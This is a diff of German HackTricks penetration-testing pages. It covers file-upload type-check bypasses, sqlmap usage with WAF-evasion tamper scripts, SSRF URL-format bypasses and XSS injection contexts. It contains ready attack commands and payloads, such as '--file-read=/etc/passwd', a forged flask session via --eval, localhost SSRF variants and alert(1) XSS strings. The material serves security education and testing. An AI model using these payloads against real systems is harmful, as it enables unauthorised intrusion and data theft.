+Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf dem Typ überprüfen. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen.

-Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben für zulässige Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um sein Hochladen zu garantieren.
+Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben für zulässige Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um das Hochladen zu garantieren.

 Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

+### Hochladen gültiger JSONs wie wenn es PDF wäre
+
+Wie man Dateityp-Erkennungen vermeidet, indem man eine gültige JSON-Datei hochlädt, auch wenn dies nicht erlaubt ist, indem man eine PDF-Datei fälscht (Techniken aus **[diesem Blogbeitrag](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+
+- **`mmmagic`-Bibliothek**: Solange die `%PDF`-Magie-Bytes in den ersten 1024 Bytes sind, ist es gültig (Beispiel aus dem Beitrag holen)
+- **`pdflib`-Bibliothek**: Fügen Sie ein gefälschtes PDF-Format in ein Feld der JSON ein, sodass die Bibliothek denkt, es sei ein PDF (Beispiel aus dem Beitrag holen)
+- **`file`-Binary**: Es kann bis zu 1048576 Bytes aus einer Datei lesen. Erstellen Sie einfach eine JSON, die größer ist als das, damit sie den Inhalt nicht als JSON parsen kann, und fügen Sie dann in die JSON den Anfangsteil eines echten PDFs ein, und es wird denken, es sei ein PDF.
+
 ## Referenzen

 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
@ -313,5 +321,6 @@ Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-b
 - [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
 - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
+- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/sql-injection/sqlmap/README.md
+++ b/src/pentesting-web/sql-injection/sqlmap/README.md
@ -43,9 +43,9 @@
 --columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
 -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
 ```
-Mit [SQLMapping](https://taurusomar.github.io/sqlmapping/) ist es ein praktisches Tool, das Befehle generiert und einen vollständigen Überblick, sowohl grundlegend als auch fortgeschritten, für SQLMap bietet. Es enthält ToolTips, die jeden Aspekt des Tools erklären und jede Option im Detail beschreiben, damit Sie lernen und verstehen können, wie Sie es effizient und effektiv nutzen.
+Mit [SQLMapping](https://taurusomar.github.io/sqlmapping/) ist es ein praktisches Tool, das Befehle generiert und einen vollständigen Überblick, sowohl grundlegende als auch fortgeschrittene, für SQLMap bietet. Es enthält ToolTips, die jeden Aspekt des Tools erklären und jede Option im Detail beschreiben, damit Sie lernen, wie Sie es effizient und effektiv nutzen können.

-## Injektionsstelle
+## Injection-Stelle

 ### Aus Burp/ZAP-Erfassung

@ -80,9 +80,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
 ```bash
 --string="string_showed_when_TRUE"
 ```
+### Erkennungstechnik hinzufügen
+
+Wenn Sie eine SQLi gefunden haben, aber sqlmap sie nicht erkannt hat, können Sie die Erkennungstechnik mit Argumenten wie `--prefix` oder `--suffix` erzwingen, oder, wenn es komplexer ist, sie zu den Payloads hinzufügen, die von sqlmap in `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` verwendet werden, zum Beispiel für zeitblind basierte.
+
 ### Eval

-**Sqlmap** ermöglicht die Verwendung von `-e` oder `--eval`, um jede Payload vor dem Senden mit einem Python-Oneliner zu verarbeiten. Dies macht es sehr einfach und schnell, die Payload auf benutzerdefinierte Weise vor dem Senden zu verarbeiten. Im folgenden Beispiel **wird die flask cookie session von flask mit dem bekannten Geheimnis signiert, bevor sie gesendet wird**:
+**Sqlmap** ermöglicht die Verwendung von `-e` oder `--eval`, um jede Payload vor dem Senden mit einem Python-Oneliner zu verarbeiten. Dies macht es sehr einfach und schnell, die Payload auf benutzerdefinierte Weise vor dem Senden zu verarbeiten. Im folgenden Beispiel **wird die flask-Cookie-Sitzung** **von flask mit dem bekannten Geheimnis signiert, bevor sie gesendet wird**:
 ```bash
 sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
 ```
@ -101,7 +105,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
 ```bash
 --file-read=/etc/passwd
 ```
-### Durchsuchen Sie eine Website mit SQLmap und automatisches Ausnutzen
+### Crawlen Sie eine Website mit SQLmap und automatischem Exploit
 ```bash
 sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

@ -133,7 +137,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
 ```
 ### Tamper

-Denken Sie daran, dass **Sie Ihre eigenen Tamper in Python erstellen können** und es sehr einfach ist. Sie finden ein Tamper-Beispiel auf der [Seite zur Zweiten Ordnung Injektion hier](second-order-injection-sqlmap.md).
+Denken Sie daran, dass **Sie Ihre eigenen Tamper in Python erstellen können** und es sehr einfach ist. Sie finden ein Tamper-Beispiel auf der [Seite zur Zweiten Ordnung Injection hier](second-order-injection-sqlmap.md).
 ```bash
 --tamper=name_of_the_tamper
 #In kali you can see all the tampers in /usr/share/sqlmap/tamper
@ -141,51 +145,51 @@ Denken Sie daran, dass **Sie Ihre eigenen Tamper in Python erstellen können** u
 | Tamper                       | Beschreibung                                                                                                                        |
 | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
 | apostrophemask.py            | Ersetzt das Apostrophzeichen durch sein UTF-8-Vollbreiten-Gegenstück                                                                |
-| apostrophenullencode.py      | Ersetzt das Apostrophzeichen durch sein illegales doppeltes Unicode-Gegenstück                                                          |
-| appendnullbyte.py            | Fügt am Ende der Payload ein kodiertes NULL-Byte-Zeichen hinzu                                                                          |
-| base64encode.py              | Kodiert alle Zeichen in einer gegebenen Payload in Base64                                                                                           |
-| between.py                   | Ersetzt den Größer-als-Operator ('>') durch 'NOT BETWEEN 0 AND #'                                                                    |
+| apostrophenullencode.py      | Ersetzt das Apostrophzeichen durch sein illegales doppeltes Unicode-Gegenstück                                                       |
+| appendnullbyte.py            | Fügt am Ende der Payload ein kodiertes NULL-Byte-Zeichen hinzu                                                                        |
+| base64encode.py              | Kodiert alle Zeichen in einer gegebenen Payload in Base64                                                                            |
+| between.py                   | Ersetzt den Größer-als-Operator ('>') durch 'NOT BETWEEN 0 AND #'                                                                   |
 | bluecoat.py                  | Ersetzt das Leerzeichen nach der SQL-Anweisung durch ein gültiges zufälliges Leerzeichen. Danach wird das Zeichen = durch den LIKE-Operator ersetzt |
-| chardoubleencode.py          | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten)                                              |
-| commalesslimit.py            | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M'                                                                       |
-| commalessmid.py              | Ersetzt Instanzen wie 'MID(A, B, C)' durch 'MID(A FROM B FOR C)'                                                                  |
+| chardoubleencode.py          | Doppelt URL-kodiert alle Zeichen in einer gegebenen Payload (nicht bereits kodierte werden nicht verarbeitet)                        |
+| commalesslimit.py            | Ersetzt Instanzen wie 'LIMIT M, N' durch 'LIMIT N OFFSET M'                                                                        |
+| commalessmid.py              | Ersetzt Instanzen wie 'MID(A, B, C)' durch 'MID(A FROM B FOR C)'                                                                   |
 | concat2concatws.py           | Ersetzt Instanzen wie 'CONCAT(A, B)' durch 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'                                                  |
-| charencode.py                | URL-kodiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten)                                                     |
-| charunicodeencode.py         | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten). "%u0022"                           |
-| charunicodeescape.py         | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten). "\u0022"                           |
-| equaltolike.py               | Ersetzt alle Vorkommen des Operators gleich ('=') durch den Operator 'LIKE'                                                               |
-| escapequotes.py              | Schrägstrich-Escape für Anführungszeichen (' und ")                                                                                                      |
-| greatest.py                  | Ersetzt den Größer-als-Operator ('>') durch das 'GREATEST'-Gegenstück                                                                   |
-| halfversionedmorekeywords.py | Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu                                                                                   |
-| ifnull2ifisnull.py           | Ersetzt Instanzen wie 'IFNULL(A, B)' durch 'IF(ISNULL(A), B, A)'                                                                  |
-| modsecurityversioned.py      | Umgibt die gesamte Abfrage mit einem versionierten Kommentar                                                                                     |
-| modsecurityzeroversioned.py  | Umgibt die gesamte Abfrage mit einem null-versionierten Kommentar                                                                                |
-| multiplespaces.py            | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu                                                                                           |
-| nonrecursivereplacement.py   | Ersetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für den Ersatz geeignet sind (z.B. .replace("SELECT", "")) filter               |
-| percentage.py                | Fügt ein Prozentzeichen ('%') vor jedes Zeichen hinzu                                                                             |
-| overlongutf8.py              | Konvertiert alle Zeichen in einer gegebenen Payload (verarbeitet keine bereits kodierten)                                                        |
-| randomcase.py                | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben                                                                             |
-| randomcomments.py            | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu                                                                                                |
-| securesphere.py              | Fügt eine speziell gestaltete Zeichenfolge hinzu                                                                                                     |
-| sp_password.py               | Fügt 'sp_password' am Ende der Payload zur automatischen Obfuskation aus DBMS-Protokollen hinzu                                           |
-| space2comment.py             | Ersetzt das Leerzeichen (' ') durch Kommentare                                                                                       |
-| space2dash.py                | Ersetzt das Leerzeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')                        |
-| space2hash.py                | Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')                      |
-| space2morehash.py            | Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')                      |
-| space2mssqlblank.py          | Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen                              |
-| space2mssqlhash.py           | Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer neuen Zeile ('\n')                                          |
-| space2mysqlblank.py          | Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen                              |
-| space2mysqldash.py           | Ersetzt das Leerzeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer neuen Zeile ('\n')                                            |
-| space2plus.py                | Ersetzt das Leerzeichen (' ') durch ein Pluszeichen ('+')                                                                                     |
-| space2randomblank.py         | Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen                              |
-| symboliclogical.py           | Ersetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke (&& und                                                     |
-| unionalltounion.py           | Ersetzt UNION ALL SELECT durch UNION SELECT                                                                                        |
-| unmagicquotes.py             | Ersetzt das Anführungszeichen (') durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende (um es zum Laufen zu bringen)             |
-| uppercase.py                 | Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstaben 'INSERT'                                                                     |
-| varnish.py                   | Fügt einen HTTP-Header 'X-originating-IP' hinzu                                                                                            |
-| versionedkeywords.py         | Umgibt jedes Nicht-Funktionsschlüsselwort mit einem versionierten MySQL-Kommentar                                                                    |
-| versionedmorekeywords.py     | Umgibt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar                                                                                 |
-| xforwardedfor.py             | Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu                                                                                        |
+| charencode.py                | URL-kodiert alle Zeichen in einer gegebenen Payload (nicht bereits kodierte werden nicht verarbeitet)                               |
+| charunicodeencode.py         | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (nicht bereits kodierte werden nicht verarbeitet). "%u0022"   |
+| charunicodeescape.py         | Unicode-URL-kodiert nicht kodierte Zeichen in einer gegebenen Payload (nicht bereits kodierte werden nicht verarbeitet). "\u0022"   |
+| equaltolike.py               | Ersetzt alle Vorkommen des Operators gleich ('=') durch den Operator 'LIKE'                                                         |
+| escapequotes.py              | Schrägstrich-Escape für Anführungszeichen (' und ")                                                                                  |
+| greatest.py                  | Ersetzt den Größer-als-Operator ('>') durch das 'GREATEST'-Gegenstück                                                               |
+| halfversionedmorekeywords.py | Fügt vor jedem Schlüsselwort einen versionierten MySQL-Kommentar hinzu                                                               |
+| ifnull2ifisnull.py           | Ersetzt Instanzen wie 'IFNULL(A, B)' durch 'IF(ISNULL(A), B, A)'                                                                    |
+| modsecurityversioned.py      | Umgibt die gesamte Abfrage mit einem versionierten Kommentar                                                                          |
+| modsecurityzeroversioned.py  | Umgibt die gesamte Abfrage mit einem null-versionierten Kommentar                                                                     |
+| multiplespaces.py            | Fügt mehrere Leerzeichen um SQL-Schlüsselwörter hinzu                                                                                |
+| nonrecursivereplacement.py   | Ersetzt vordefinierte SQL-Schlüsselwörter durch Darstellungen, die für die Ersetzung geeignet sind (z.B. .replace("SELECT", "")) Filter |
+| percentage.py                | Fügt ein Prozentzeichen ('%') vor jedem Zeichen hinzu                                                                                 |
+| overlongutf8.py              | Konvertiert alle Zeichen in einer gegebenen Payload (nicht bereits kodierte werden nicht verarbeitet)                               |
+| randomcase.py                | Ersetzt jedes Schlüsselwortzeichen durch einen zufälligen Groß- oder Kleinbuchstaben                                                |
+| randomcomments.py            | Fügt zufällige Kommentare zu SQL-Schlüsselwörtern hinzu                                                                             |
+| securesphere.py              | Fügt eine speziell gestaltete Zeichenfolge hinzu                                                                                     |
+| sp_password.py               | Fügt 'sp_password' am Ende der Payload zur automatischen Obfuskation aus DBMS-Protokollen hinzu                                     |
+| space2comment.py             | Ersetzt das Leerzeichen (' ') durch Kommentare                                                                                        |
+| space2dash.py                | Ersetzt das Leerzeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n') |
+| space2hash.py                | Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')   |
+| space2morehash.py            | Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer zufälligen Zeichenfolge und einer neuen Zeile ('\n')   |
+| space2mssqlblank.py          | Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen                          |
+| space2mssqlhash.py           | Ersetzt das Leerzeichen (' ') durch ein Pfundzeichen ('#'), gefolgt von einer neuen Zeile ('\n')                                     |
+| space2mysqlblank.py          | Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen                          |
+| space2mysqldash.py           | Ersetzt das Leerzeichen (' ') durch einen Strichkommentar ('--'), gefolgt von einer neuen Zeile ('\n')                               |
+| space2plus.py                | Ersetzt das Leerzeichen (' ') durch ein Pluszeichen ('+')                                                                            |
+| space2randomblank.py         | Ersetzt das Leerzeichen (' ') durch ein zufälliges Leerzeichen aus einer gültigen Menge alternativer Zeichen                          |
+| symboliclogical.py           | Ersetzt die logischen Operatoren AND und OR durch ihre symbolischen Gegenstücke (&& und                                             |
+| unionalltounion.py           | Ersetzt UNION ALL SELECT durch UNION SELECT                                                                                         |
+| unmagicquotes.py             | Ersetzt das Anführungszeichen (') durch eine Multi-Byte-Kombination %bf%27 zusammen mit einem generischen Kommentar am Ende (um es zum Laufen zu bringen) |
+| uppercase.py                 | Ersetzt jedes Schlüsselwortzeichen durch den Großbuchstaben 'INSERT'                                                                 |
+| varnish.py                   | Fügt einen HTTP-Header 'X-originating-IP' hinzu                                                                                     |
+| versionedkeywords.py         | Umgibt jedes Nicht-Funktionsschlüsselwort mit einem versionierten MySQL-Kommentar                                                   |
+| versionedmorekeywords.py     | Umgibt jedes Schlüsselwort mit einem versionierten MySQL-Kommentar                                                                   |
+| xforwardedfor.py             | Fügt einen gefälschten HTTP-Header 'X-Forwarded-For' hinzu                                                                          |


 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
+++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
@ -5,6 +5,7 @@
 ### Localhost
 ```bash
 # Localhost
+0 # Yes, just 0 is localhost in Linuc
 http://127.0.0.1:80
 http://127.0.0.1:443
 http://127.0.0.1:22
@ -77,7 +78,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
 ```
 ![](<../../images/image (776).png>)

-Die **Burp-Erweiterung** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementiert IP-Formatumgehungen.
+Die **Burp-Erweiterung** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementiert IP-Formatierungsumgehungen.

 ### Domain-Parser
 ```bash
@ -143,9 +144,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
 #Parameter pollution
 next={domain}&next=attacker.com
 ```
-### Pfade und Erweiterungen umgehen
+### Paths and Extensions Bypass

-Wenn es erforderlich ist, dass die URL mit einem Pfad oder einer Erweiterung endet oder einen Pfad enthalten muss, können Sie einen der folgenden Umgehungen versuchen:
+Wenn Sie benötigen, dass die URL mit einem Pfad oder einer Erweiterung endet oder einen Pfad enthalten muss, können Sie einen der folgenden Bypässe ausprobieren:
 ```
 https://metadata/vulerable/path#/expected/path
 https://metadata/vulerable/path#.extension
@ -153,11 +154,11 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
 ```
 ### Fuzzing

-Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann Variationen aus einem gegebenen Input generieren, um die verwendete Regex zu umgehen. Siehe auch [**diesen Beitrag**](https://0xacb.com/2022/11/21/recollapse/) für weitere Informationen.
+Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann Variationen aus einem gegebenen Input generieren, um den verwendeten Regex zu umgehen. Siehe auch [**diesen Beitrag**](https://0xacb.com/2022/11/21/recollapse/) für weitere Informationen.

 ### Automatische benutzerdefinierte Wortlisten

-Schau dir die [**URL-Validierungs-Bypass-Checkliste**-Webanwendung](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) von portswigger an, wo du den erlaubten Host und den des Angreifers eingeben kannst, und sie wird eine Liste von URLs generieren, die du ausprobieren kannst. Sie berücksichtigt auch, ob du die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden kannst.
+Schau dir die [**URL-Validierungs-Bypass-Checkliste**-Webanwendung](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) von Portswigger an, wo du den erlaubten Host und den des Angreifers eingeben kannst, und sie wird eine Liste von URLs für dich generieren. Sie berücksichtigt auch, ob du die URL in einem Parameter, in einem Host-Header oder in einem CORS-Header verwenden kannst.

 {{#ref}}
 https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
@ -165,7 +166,7 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet

 ### Bypass über Umleitung

-Es könnte möglich sein, dass der Server **die ursprüngliche Anfrage** eines SSRF **filtert, aber nicht** eine mögliche **Umleitungs**-Antwort auf diese Anfrage.\
+Es könnte möglich sein, dass der Server **die ursprüngliche Anfrage** eines SSRF **filtert, aber nicht** eine mögliche **Umleitungsantwort** auf diese Anfrage.\
 Zum Beispiel könnte ein Server, der anfällig für SSRF über: `url=https://www.google.com/` ist, **den url-Parameter filtern**. Aber wenn du einen [Python-Server verwendest, um mit einem 302 zu antworten](https://pastebin.com/raw/ywAUhFrv) an den Ort, an den du umleiten möchtest, könntest du in der Lage sein, **gefilterte IP-Adressen** wie 127.0.0.1 oder sogar gefilterte **Protokolle** wie gopher zu **zugreifen**.\
 [Sieh dir diesen Bericht an.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
 ```python
@ -192,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

 ### Blackslash-Trick

-Der _backslash-trick_ nutzt einen Unterschied zwischen dem [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) und [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) aus. Während RFC3986 ein allgemeines Rahmenwerk für URIs ist, ist WHATWG spezifisch für Web-URLs und wird von modernen Browsern übernommen. Der entscheidende Unterschied liegt in der Anerkennung des Backslashes (`\`) im WHATWG-Standard als gleichwertig mit dem Schrägstrich (`/`), was die Art und Weise beeinflusst, wie URLs geparst werden, insbesondere die Markierung des Übergangs vom Hostnamen zum Pfad in einer URL.
+Der _backslash-trick_ nutzt einen Unterschied zwischen dem [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) und [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) aus. Während RFC3986 einen allgemeinen Rahmen für URIs bietet, ist WHATWG spezifisch für Web-URLs und wird von modernen Browsern übernommen. Der entscheidende Unterschied liegt in der Anerkennung des Backslashes (`\`) im WHATWG-Standard als gleichwertig zum Schrägstrich (`/`), was die Art und Weise beeinflusst, wie URLs geparst werden, insbesondere den Übergang vom Hostnamen zum Pfad in einer URL markiert.

 ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)

--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@ -47,7 +47,7 @@ Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre E

 ### Rohes HTML

-Wenn Ihre Eingabe **im rohen HTML** der Seite reflektiert wird, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
+Wenn Ihre Eingabe im **rohen HTML**-Seite **reflektiert wird**, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
 Denken Sie auch an [Client Side Template Injection](../client-side-template-injection-csti.md).

 ### Innerhalb von HTML-Tag-Attributen
@ -56,7 +56,7 @@ Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Si

 1. Von **dem Attribut und dem Tag zu entkommen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
 2. Wenn Sie **vom Attribut, aber nicht vom Tag entkommen können** (`>` ist kodiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
-3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
+3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird, **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
 4. Wenn Ihre Eingabe in "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**

 Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:
@ -67,14 +67,14 @@ Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen k
 ```
 ### Inside JavaScript code

-In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`** Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`** Protokoll reflektiert:
+In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert:

- Wenn sie zwischen **`<script> [...] </script>`** Tags reflektiert wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>` Tag im HTML-Code enthalten ist.
+- Wenn sie zwischen **`<script> [...] </script>`**-Tags reflektiert wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>`-Tag im HTML-Code enthalten ist.
 - Wenn sie **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
- Wenn sie innerhalb von Template-Strings reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }` Syntax: `` var greetings = `Hello, ${alert(1)}` ``
+- Wenn sie innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
 - **Unicode-Encoding** funktioniert, um **gültigen JavaScript-Code** zu schreiben:
 ```javascript
 alert(1)
@ -132,7 +132,7 @@ dom-xss.md

 ### **Universelles XSS**

-Diese Art von XSS kann **überall** gefunden werden. Sie hängt nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art der **beliebigen JavaScript-Ausführung** kann sogar ausgenutzt werden, um **RCE** zu erhalten, **beliebige** **Dateien** auf Clients und Servern zu **lesen** und mehr.\
+Diese Art von XSS kann **überall** gefunden werden. Sie hängt nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art der **beliebigen JavaScript-Ausführung** kann sogar ausgenutzt werden, um **RCE** zu erhalten, **beliebige** **Dateien** auf Clients und Servern zu lesen und mehr.\
 Einige **Beispiele**:

 {{#ref}}
@ -150,10 +150,10 @@ server-side-xss-dynamic-pdf.md
 ## In rohes HTML injizieren

